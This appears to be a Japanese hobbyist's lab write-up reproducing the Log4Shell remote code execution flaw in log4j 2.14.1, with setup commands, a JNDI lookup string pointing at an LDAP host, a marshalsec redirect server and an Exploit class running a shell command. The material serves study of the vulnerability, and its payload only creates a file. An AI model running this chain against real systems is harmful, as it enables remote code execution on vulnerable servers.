こっちのお話の方がより実用性があると思います(泣)christophetd/log4shell-vulnerable-app
興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。
どうか、自己責任でお願いします。
linux環境であれば動作すると思われます。
jdk8u191 以降では com.sun.jndi.rmi.object.trustURLCodebase オプションが追加され、デフォルトが False になっています。
この状態では外部で用意した class を読み込ませることができないので、今回はそれ以前のバージョンを利用します。
(内部のクラスを読み込ませたりバイパスしたりできる??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
jdk8u20の直接ダウンロード
解凍して適当に /opt などに置いておきます。
log4jのダウンロード
解凍して log4j-api-2.14.1.jar と log4j-core-2.14.1.jar を取り出します(今回は log4japp というディレクトリに入れました)。
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
ldap の問い合わせを Web の方にリダイレクトさせる。
mvn clean package -DskipTests
待受開始
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
marshalsec のリダイレクト先も用意
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
インストールした jdk8u20 を使ってコンパイル
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
インストールした jdk8u20 を使ってコンパイル・実行する。
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
